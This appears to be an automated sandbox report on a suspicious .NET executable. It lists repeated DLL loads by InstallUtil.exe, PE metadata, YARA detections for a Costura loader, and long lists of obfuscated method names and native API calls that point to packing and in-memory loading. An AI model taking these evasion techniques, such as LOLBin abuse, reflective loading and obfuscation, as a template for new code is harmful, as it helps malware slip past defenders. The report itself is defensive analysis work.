Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior

Source: C:\Users\user\Desktop\2ngxhElaud.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\2ngxhElaud.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 2ngxhElaud.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 2ngxhElaud.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 2ngxhElaud.exe

Static file information: File size 1826816 > 1048576

Source: 2ngxhElaud.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x164200

Source: 2ngxhElaud.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: 2ngxhElaud.exe, 00000000.00000002.1839324075.0000014335E40000.00000004.08000000.00040000.00000000.sdmp, 2ngxhElaud.exe, 00000000.00000002.1816376594.000001431D4CE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: 2ngxhElaud.exe, 00000000.00000002.1839324075.0000014335E40000.00000004.08000000.00040000.00000000.sdmp, 2ngxhElaud.exe, 00000000.00000002.1816376594.000001431D4CE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: 2ngxhElaud.exe, 00000000.00000002.1839124064.0000014335DF0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: 2ngxhElaud.exe, 00000000.00000002.1839124064.0000014335DF0000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, kJZuA1vafcf3CU1gh2G.cs	.Net Code: Type.GetTypeFromHandle(Y5crgwkK4AD536VZ158.obGPDcIDwN(16777265)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(Y5crgwkK4AD536VZ158.obGPDcIDwN(16777259)),Type.GetTypeFromHandle(Y5crgwkK4AD536VZ158.obGPDcIDwN(16777263))})
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, kJZuA1vafcf3CU1gh2G.cs	.Net Code: Type.GetTypeFromHandle(Y5crgwkK4AD536VZ158.obGPDcIDwN(16777265)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(Y5crgwkK4AD536VZ158.obGPDcIDwN(16777259)),Type.GetTypeFromHandle(Y5crgwkK4AD536VZ158.obGPDcIDwN(16777263))})

.NET source code contains potential unpacker

Source: 2ngxhElaud.exe, ServerClient.cs	.Net Code: DisableStruct System.AppDomain.Load(byte[])
Source: 0.2.2ngxhElaud.exe.14335e40000.12.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.2ngxhElaud.exe.14335e40000.12.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.2ngxhElaud.exe.14335e40000.12.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.2ngxhElaud.exe.1432dd3eea8.2.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.2ngxhElaud.exe.1432dd3eea8.2.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.2ngxhElaud.exe.1432dd3eea8.2.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 1.2.InstallUtil.exe.246443b0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2ngxhElaud.exe.14335cf0000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4145350381.00000246443B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1838052867.0000014335CF0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1816376594.000001431D021000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4145704834.0000024644431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1825548079.000001432D1D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2ngxhElaud.exe PID: 6716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 2144, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Code function: 1_2_00007FFD9BA0B120 push ecx; iretd	1_2_00007FFD9BA0B124
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Code function: 1_2_00007FFD9BA1389B push ebx; iretd	1_2_00007FFD9BA138AA
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Code function: 1_2_00007FFD9BA0FFCB push ds; retf	1_2_00007FFD9BA0FFDF
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Code function: 1_2_00007FFD9BA0DD97 push esp; ret	1_2_00007FFD9BA0DD99

Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, aierKikzNZ92FB2Vqb7.cs	High entropy of concatenated method names: 'M481Np1kXF', 'UdQ1wvdYQ7', 'h8C17tJ2A9', 'tnN10GwYlZ', 'wJe1mWww6u', 'Osg1632qok', 'HMR1WrEwH1', 'giKOSlIYln', 'HNP1ltHNYG', 'dth1KKaxw2'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, AssemblyLoader.cs	High entropy of concatenated method names: 'CultureToString', 'ReadExistingAssembly', 'CopyTo', 'LoadStream', 'LoadStream', 'ReadStream', 'ReadFromEmbeddedResources', 'ResolveAssembly', 'Attach', 'WIIbYMq4dWHGE1myHr4'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, O7gaOdvIZ8v6x4MJch3.cs	High entropy of concatenated method names: 'My1vAp513w', 'BtdM8wqtSpJIYT5Yp08', 'RakrfSqQgYAILA4P224', 'y6CoLkqBceAgQTXsNIO', 'hqfFt4q1U7wrE2ay9Qh', 'fM4RbMqVATm86eDoZ1G', 'dbU8LHqbJOS574LE7Ya', 'ii2HU4qIIBetop7NjIG', 'IJL1uFqLUIgG9gdyQ5n', 'QLBINDqAyeSWy5OfA6V'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, xCERmnnr3Ugi5pHNQ4s.cs	High entropy of concatenated method names: 'dk7nz5NI4N', 'doUvdyt7cS', 'QIavhs5Apj', 'QR3xInUm5mZ5WLjagth', 'CRKdTWU7hb0seD6eQul', 'k1ty8GU0eeXSnhOHPuw', 'jXlt5iU6MPZeuI1Lcc8', 'ooiyyvUW6VVuVK4wlgh', 'B9D3nEUlxc5Kkx0LERd'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, RV2rCiAkW0ERyTGkIg.cs	High entropy of concatenated method names: 'kwnNZAUtW', 'vrwwvUK9T', 'w1b0J6QeB', 'RKj7Rc1Ki', 'xFyQof0XSba1gDFom0x', 'b6LYks0EJUMm4q9nVfI', 'wRoU6t0sScYja9ypj5O', 'xbCAsM0f4vYs4iheKyD', 'n9Upyb0G4HHkCOFUjch', 'z2bWBv0xadXBUc5IAjs'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, bJC0vuvKhHJ5v98PmDm.cs	High entropy of concatenated method names: 'IZlPcNJqOC', 'NNhr9sowrZvi2rwnH2s', 'EWshn3o7TuyZq4xAciR', 'MwtSh9o0Fwbig0VumN5', 'yhYDOKomDurMsHrEvC7', 'rsQ47No6ILHt36YGF91', 'jD1TJtoSfoiy33QeiSc', 'i7NwrqoN5gDAEQMnWgg', 'h1Ncg6oWcIteCx9IE53'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, jnL8NJEw690CBXyrqqH.cs	High entropy of concatenated method names: 'f8uE0mYT2N', 'aQZEmaPJkS', 'aj3pDSmyiAQm7CLJZcw', 'q4WNDsmPDkOVUXbIX0X', 'tEWjfKm5MRJrtM5GPb6', 'Mn93FumJReJva770ujM', 'M0iV9JmeNJVXQMkqVxZ', 'uJgatxmif3WG4gsbbgC', 'Hs89k3m9fPjNL0mIFbc', 'qmmsadmuPXpdk1pBXLQ'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, Wp7PcOOJLUaN6qsVQN.cs	High entropy of concatenated method names: 'zuuteQ8ay', 'AKQQhiykJ', 'KGG1eXF9T', 'xANVYTYiW', 'SpD2Y1Lby', 'r6Btqf7cHqSaigi9HWV', 'DDWRvG7joDovUUI7gEI', 'ksKPmG7rjUbQvAQ8AfS', 'KQSLQS7DNMA9JBD0hCC', 'GHyvnf7z7KFgbdRE9W3'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, BOuGdDv0peLCZ0K3kXq.cs	High entropy of concatenated method names: 'caBv6QHbap', 'cdKkEbqqtXhIYqGaUgW', 'mODbtHqo5VW5AsQEK3W', 'nLGpUbqaFoSvrGXK7J5', 'HeQ0UBqF7NVDrmZ96jG', 'XwqSlpqTkdiN1661rDx', 'IfbX8LqKTIFQlN1TtM6', 'DsUCEBqUBiG2qPffWWH'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, SqryH7nHdNujscibJ5A.cs	High entropy of concatenated method names: 'bNUnytbYEq', 'Vq4nJVKPas', 'HVTnPoqEqg', 'XR6n5flwT8', 'bbYLS6KgevVkgCFdiWI', 'Nme7STK8K9M65F7ZDRe', 'GjU42yK4BNFdewa2cfd', 'cjsRqbKcXmPa95l0W4K', 'HLsVFwKjZ1JTwaKkiQ7', 'rXiCo0KrrUFFT3u4xER'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, ClgPBKn97o7xIkBmiSv.cs	High entropy of concatenated method names: 'K60nYAtatb', 'jlwvV7UxhvekZvFLs91', 'xlI5Y5UZxKHyxkeGLc4', 'OqgClWUXqnw0TvjuKWv', 'CFT3QNUEHBH1mSBPMCe', 'jbIGqmUsNsnjl7begZL', 'tFfK4UUfIVErd52s51m', 'UaRCpHUGF2Dymsnb2FY', 'aycypMUnsLI1YClKOkn', 'EE3EHtUv8EYCjryaeud'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, n0ZLxyn4FLJvxcyUEt5.cs	High entropy of concatenated method names: 'IZ0njCIACl', 'zGbByoUVu6gaViRZpPV', 'HR3chnUbbMF5jGEcfTG', 'NIdc4WUIbkOv8I6kGa3', 'F9dZkeUL1W2XC2imwb6', 'Em2REBUACbF7P7HeUj1', 'UlVjEZUS5x9q0NRlnFq', 'U91CRxUNa2N17xrXixx', 'I8plugUBFcNOS7eEMmV', 'kQoiIuU1pnm59GGJS17'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, bWUhANnWtlZmgIWL6Wq.cs	High entropy of concatenated method names: 'rhknKDl6ET', 'sWanh1KfgaUucQoyrDb', 'hrU5NCKGeECGh8Ls0GS', 'oqW8pWKn4dZFwO0VgVQ', 'aErUngKvbmc1vTwrBcf', 'GaTFrjKRpRRK5NoRxiN', 'HTrNVvKkYlhJiEOiXrJ', 'ULHkr7KEB1G0J0HyRKU', 'U3dRg4KsgHllM3jjeWZ'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, TqcSu4EKpsBKpoktntj.cs	High entropy of concatenated method names: 'qIXEqMroZ3', 'yBUEoFSEIT', 'myyEa06pHP', 'WrZEFytbc9', 'FviETvGWsh', 'Me9YBl6hcWFIcQZOYLo', 'x6fT6f6dPYplUqR43s4', 'HjRW236xPRBAPK6Nq0x', 'fxPJXM6Zb2UyLoqV06M', 'xen2GA6XlFbs6xiUcEZ'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, kHG7TivvswM00oj01Uy.cs	High entropy of concatenated method names: 'XbUvkTrkuE', 'Ntv2blUHepHxfXVI4kJ', 'lyeFJeUCvBW8TDfCOnT', 'hdcJl6UPGrK3kWQ0jNJ', 'ctpTiXU5JNqWfbZsWUT', 'UqjQVSUyI8pqGALJ4xl', 'zqn0BpUTYG2FhamYpgl', 'S4eOvkUME5TcqYtuHDk'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, NbkOyxEMummJrNWiQDE.cs	High entropy of concatenated method names: 'FZEECRGxQU', 'GlNEPLtXCY', 'Oy2E5CVsJb', 'VniEnD6H9sLtxrPV3Fd', 'GXw6E96CWvbqpatFI54', 'b9ffOf6PLgK3vAV03VM', 'lv2DRy657GfF33u6YRQ', 'vaCAR36ToMfs8QpKAsi', 'zad3TN6MDPtkxxCHm51', 'AXh7sq6yeIc8Pcuwv8X'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, IbZQ6dnNt4C9LCgb1ql.cs	High entropy of concatenated method names: 'clXn75C17m', 'KAObkSl4UF3RO0RJcS0', 'XwHtGnlcC0gCJGn0WHy', 'pZOYohljEcPOSDSCNbW', 'LhyRG2lrx2D4trlabiV', 'fMwsJWlDH7IBXK610Xr', 'II24Pmlzy1rZWIFnP6w', 'LKDKByKh2EZdvj9HvsZ', 'B7NYuglg3ElZuF7UJ9O', 'VrvHG8l8nUeFYmTtTOy'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, HrIcttsnEN6PPriWKQm.cs	High entropy of concatenated method names: 'LnlsRNYges', 'P6fsOmgb8k', 'BiOs28R9hU', 'IKVsQu3ZXn', 'k2EsBwATdo', 'EwHs1eMHuJ', 'fnWsVNw2m2', 'NKasbIHdvC', 'IF7sISYGaU', 'lXUsLv6ZuP'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, kJZuA1vafcf3CU1gh2G.cs	High entropy of concatenated method names: 'hyCG2Woo3IUnUuHF4YR', 'vkumIwoaqqCO9OEZBCc', 'fgqkk3MoMi', 'SGK4IhoHNWGJZRPlE9n', 'a91PhEoCqCj5hRGQQMS', 'Og8j3DoP7ClhS1YREHQ', 'blyqWPo5oGohJI4oi8Y', 'UHAElXoyiokPvyl1bK9', 'JVaJ4ZoJqGXp7CRHj4V', 'YRPOYmoeNCkaxVCGgAn'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, momkyEvBbf3GL2pMYAL.cs	High entropy of concatenated method names: 'WdevV51vwh', 'gGqvbAfLOQ', 'M6C1pjU4RKYLjocfR14', 'SKKNcRUcQJWcUutsaGr', 'JPn8y7UjNLvg9TFe7WN', 'sr3RdFUgUeXxHea2Ykd', 'eO78NkU8cpDUywPH7YX', 'CB0I1uUr5I1CUQMxJGp', 'vNMn1IUD2EEmeNrmuhT', 'yAs3qEUz135vaHLBD26'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, cKTr3JvSJcITEMhgJQi.cs	High entropy of concatenated method names: 'BmOvwIBhax', 'S9xv7lsFJT', 'SXqv95q7GkAuadJf03H', 'd6HsNFq0ACSSKn5m6Uw', 'ScvofWqmwZOYYEH0w85', 'kId70ZqN2IOIAfOMuB7', 'kkY8fdqw4cJ8VNaqZm5', 'tXNMN1q6JRRxZyCDQ4h', 'qv6ZXxqWhLC2DjYThnh'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, rbdRTjkF9cFc2JyCZdj.cs	High entropy of concatenated method names: 'g6qku8BjBM', 'QXTkYC3D5W', 'FW6k3bWjBw', 'nk6kgUpE8I', 'reMk8D1qTA', 'PTLk4HRHtx', 'zVgkc1xgY7', 'QZxkjBgCVN', 'GQPkrJdxnH', 'fAhkDVZtav'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, WPbwxdswOtjKLq5yBCF.cs	High entropy of concatenated method names: 'RtlInitUnicodeString', 'LdrLoadDll', 'RtlZeroMemory', 'NtQueryInformationProcess', 'agBs0yjy6H', 'NtProtectVirtualMemory', 'Mx3DkyWCUtOkxL0mkbu', 'xFy3X5WMg5Lu6aaOXgQ', 'S9WLjfWHFh9lLdvFcPW', 'F2fj2WWPfqQOgAlae0x'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, Cb64ljnUrgH6VoWiT4o.cs	High entropy of concatenated method names: 'TLPnowPdrx', 'gqinaEIof6', 'PVhUZeKpGuvagXYV24D', 'Y0VBHBK20wfbZIhFVka', 'fGuVSMKtgVfZgTVAYS0', 't9bBTLKQpmBaoTBuTpy', 'QiQuFsKBD7SFsVTNoWr', 'Li6NaKK1EOnMYpIpXVK', 'V2Fo3KKV6oRAAci6veu', 'JTm2HnKbxY9iQTEUJMK'
Source: 0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack, sKiESCxNDcQUqT2h7Ke.cs	High entropy of concatenated method names: 'k82x7IVmfY', 'bxWvwg0FuA0FpdaWZNN', 'RJNJM60T13cS1eSYCa1', 'kpPVAd0MgBn8VB0creZ', 'aVLgyX0HyCuPCLhbtc8', 'HLXsET0CBNpcwCME9AF', 'yWwLRQ0PErp92FPuMni', 'b3IfEx05qDGTb4lfXGY', 'IAyahL0y5wMOVpeu2CB', 'I2IWKA0JQ6vXTNwQIVS'
Source: 0.2.2ngxhElaud.exe.14335af0000.9.raw.unpack, WPbwxdswOtjKLq5yBCF.cs	High entropy of concatenated method names: 'RtlInitUnicodeString', 'LdrLoadDll', 'RtlZeroMemory', 'NtQueryInformationProcess', 'agBs0yjy6H', 'NtProtectVirtualMemory', 'Mx3DkyWCUtOkxL0mkbu', 'xFy3X5WMg5Lu6aaOXgQ', 'S9WLjfWHFh9lLdvFcPW', 'F2fj2WWPfqQOgAlae0x'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, aierKikzNZ92FB2Vqb7.cs	High entropy of concatenated method names: 'M481Np1kXF', 'UdQ1wvdYQ7', 'h8C17tJ2A9', 'tnN10GwYlZ', 'wJe1mWww6u', 'Osg1632qok', 'HMR1WrEwH1', 'giKOSlIYln', 'HNP1ltHNYG', 'dth1KKaxw2'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, AssemblyLoader.cs	High entropy of concatenated method names: 'CultureToString', 'ReadExistingAssembly', 'CopyTo', 'LoadStream', 'LoadStream', 'ReadStream', 'ReadFromEmbeddedResources', 'ResolveAssembly', 'Attach', 'WIIbYMq4dWHGE1myHr4'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, O7gaOdvIZ8v6x4MJch3.cs	High entropy of concatenated method names: 'My1vAp513w', 'BtdM8wqtSpJIYT5Yp08', 'RakrfSqQgYAILA4P224', 'y6CoLkqBceAgQTXsNIO', 'hqfFt4q1U7wrE2ay9Qh', 'fM4RbMqVATm86eDoZ1G', 'dbU8LHqbJOS574LE7Ya', 'ii2HU4qIIBetop7NjIG', 'IJL1uFqLUIgG9gdyQ5n', 'QLBINDqAyeSWy5OfA6V'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, xCERmnnr3Ugi5pHNQ4s.cs	High entropy of concatenated method names: 'dk7nz5NI4N', 'doUvdyt7cS', 'QIavhs5Apj', 'QR3xInUm5mZ5WLjagth', 'CRKdTWU7hb0seD6eQul', 'k1ty8GU0eeXSnhOHPuw', 'jXlt5iU6MPZeuI1Lcc8', 'ooiyyvUW6VVuVK4wlgh', 'B9D3nEUlxc5Kkx0LERd'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, RV2rCiAkW0ERyTGkIg.cs	High entropy of concatenated method names: 'kwnNZAUtW', 'vrwwvUK9T', 'w1b0J6QeB', 'RKj7Rc1Ki', 'xFyQof0XSba1gDFom0x', 'b6LYks0EJUMm4q9nVfI', 'wRoU6t0sScYja9ypj5O', 'xbCAsM0f4vYs4iheKyD', 'n9Upyb0G4HHkCOFUjch', 'z2bWBv0xadXBUc5IAjs'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, bJC0vuvKhHJ5v98PmDm.cs	High entropy of concatenated method names: 'IZlPcNJqOC', 'NNhr9sowrZvi2rwnH2s', 'EWshn3o7TuyZq4xAciR', 'MwtSh9o0Fwbig0VumN5', 'yhYDOKomDurMsHrEvC7', 'rsQ47No6ILHt36YGF91', 'jD1TJtoSfoiy33QeiSc', 'i7NwrqoN5gDAEQMnWgg', 'h1Ncg6oWcIteCx9IE53'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, jnL8NJEw690CBXyrqqH.cs	High entropy of concatenated method names: 'f8uE0mYT2N', 'aQZEmaPJkS', 'aj3pDSmyiAQm7CLJZcw', 'q4WNDsmPDkOVUXbIX0X', 'tEWjfKm5MRJrtM5GPb6', 'Mn93FumJReJva770ujM', 'M0iV9JmeNJVXQMkqVxZ', 'uJgatxmif3WG4gsbbgC', 'Hs89k3m9fPjNL0mIFbc', 'qmmsadmuPXpdk1pBXLQ'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, Wp7PcOOJLUaN6qsVQN.cs	High entropy of concatenated method names: 'zuuteQ8ay', 'AKQQhiykJ', 'KGG1eXF9T', 'xANVYTYiW', 'SpD2Y1Lby', 'r6Btqf7cHqSaigi9HWV', 'DDWRvG7joDovUUI7gEI', 'ksKPmG7rjUbQvAQ8AfS', 'KQSLQS7DNMA9JBD0hCC', 'GHyvnf7z7KFgbdRE9W3'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, BOuGdDv0peLCZ0K3kXq.cs	High entropy of concatenated method names: 'caBv6QHbap', 'cdKkEbqqtXhIYqGaUgW', 'mODbtHqo5VW5AsQEK3W', 'nLGpUbqaFoSvrGXK7J5', 'HeQ0UBqF7NVDrmZ96jG', 'XwqSlpqTkdiN1661rDx', 'IfbX8LqKTIFQlN1TtM6', 'DsUCEBqUBiG2qPffWWH'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, SqryH7nHdNujscibJ5A.cs	High entropy of concatenated method names: 'bNUnytbYEq', 'Vq4nJVKPas', 'HVTnPoqEqg', 'XR6n5flwT8', 'bbYLS6KgevVkgCFdiWI', 'Nme7STK8K9M65F7ZDRe', 'GjU42yK4BNFdewa2cfd', 'cjsRqbKcXmPa95l0W4K', 'HLsVFwKjZ1JTwaKkiQ7', 'rXiCo0KrrUFFT3u4xER'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, ClgPBKn97o7xIkBmiSv.cs	High entropy of concatenated method names: 'K60nYAtatb', 'jlwvV7UxhvekZvFLs91', 'xlI5Y5UZxKHyxkeGLc4', 'OqgClWUXqnw0TvjuKWv', 'CFT3QNUEHBH1mSBPMCe', 'jbIGqmUsNsnjl7begZL', 'tFfK4UUfIVErd52s51m', 'UaRCpHUGF2Dymsnb2FY', 'aycypMUnsLI1YClKOkn', 'EE3EHtUv8EYCjryaeud'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, n0ZLxyn4FLJvxcyUEt5.cs	High entropy of concatenated method names: 'IZ0njCIACl', 'zGbByoUVu6gaViRZpPV', 'HR3chnUbbMF5jGEcfTG', 'NIdc4WUIbkOv8I6kGa3', 'F9dZkeUL1W2XC2imwb6', 'Em2REBUACbF7P7HeUj1', 'UlVjEZUS5x9q0NRlnFq', 'U91CRxUNa2N17xrXixx', 'I8plugUBFcNOS7eEMmV', 'kQoiIuU1pnm59GGJS17'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, bWUhANnWtlZmgIWL6Wq.cs	High entropy of concatenated method names: 'rhknKDl6ET', 'sWanh1KfgaUucQoyrDb', 'hrU5NCKGeECGh8Ls0GS', 'oqW8pWKn4dZFwO0VgVQ', 'aErUngKvbmc1vTwrBcf', 'GaTFrjKRpRRK5NoRxiN', 'HTrNVvKkYlhJiEOiXrJ', 'ULHkr7KEB1G0J0HyRKU', 'U3dRg4KsgHllM3jjeWZ'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, TqcSu4EKpsBKpoktntj.cs	High entropy of concatenated method names: 'qIXEqMroZ3', 'yBUEoFSEIT', 'myyEa06pHP', 'WrZEFytbc9', 'FviETvGWsh', 'Me9YBl6hcWFIcQZOYLo', 'x6fT6f6dPYplUqR43s4', 'HjRW236xPRBAPK6Nq0x', 'fxPJXM6Zb2UyLoqV06M', 'xen2GA6XlFbs6xiUcEZ'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, kHG7TivvswM00oj01Uy.cs	High entropy of concatenated method names: 'XbUvkTrkuE', 'Ntv2blUHepHxfXVI4kJ', 'lyeFJeUCvBW8TDfCOnT', 'hdcJl6UPGrK3kWQ0jNJ', 'ctpTiXU5JNqWfbZsWUT', 'UqjQVSUyI8pqGALJ4xl', 'zqn0BpUTYG2FhamYpgl', 'S4eOvkUME5TcqYtuHDk'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, NbkOyxEMummJrNWiQDE.cs	High entropy of concatenated method names: 'FZEECRGxQU', 'GlNEPLtXCY', 'Oy2E5CVsJb', 'VniEnD6H9sLtxrPV3Fd', 'GXw6E96CWvbqpatFI54', 'b9ffOf6PLgK3vAV03VM', 'lv2DRy657GfF33u6YRQ', 'vaCAR36ToMfs8QpKAsi', 'zad3TN6MDPtkxxCHm51', 'AXh7sq6yeIc8Pcuwv8X'
